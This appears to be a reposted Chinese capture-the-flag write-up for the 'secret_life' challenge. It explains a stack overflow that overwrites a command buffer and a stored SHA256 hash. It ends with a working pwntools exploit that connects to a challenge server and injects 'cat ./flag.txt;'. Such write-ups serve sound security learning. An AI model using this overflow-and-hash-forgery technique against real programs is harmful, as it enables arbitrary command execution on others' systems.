ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

secret_life

2021-08-26 23:01:16  阅读:208  来源: 互联网

标签:life v14 v15 secret io 256 payload


题目来源: 暂无

题目描述:机密

 

 

64位elf,程序保护全开

 

 

发现main函数此处存在栈溢出

 

 

程序会比较v15和v17,如果相等则会执行v14的命令

 

 

栈结构如上

v14最开始是"/bin/cat ./secret_data.asc",v15最开始是一串SHA256加密后的结果"9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127"

v17是v16的十六进制字符串表达

v16是dest[256]的SHA256加密

因此可以构造payload为,将dest[256]填满,然后v14放入想要执行的命令,末尾加上一个分号隔绝命令,之后再将v14填满,v15放入dest[256]的SHA256加密后的结果就能绕过检验了

exp如下:

from pwn import *
import hashlib

#io = process('./secret_file')
io = remote('111.200.241.244', 50363)

#payload = b'a' * 256 + b'ls;'.ljust(27, b'a')
payload = b'a' * 256 + b'cat ./flag.txt;'.ljust(27, b'a')

h = hashlib.sha256()
h.update(b'a' * 256)
payload += h.hexdigest().encode()

io.sendline(payload)

io.interactive()

 

标签:life,v14,v15,secret,io,256,payload
来源: https://www.cnblogs.com/hktk1643/p/15191969.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有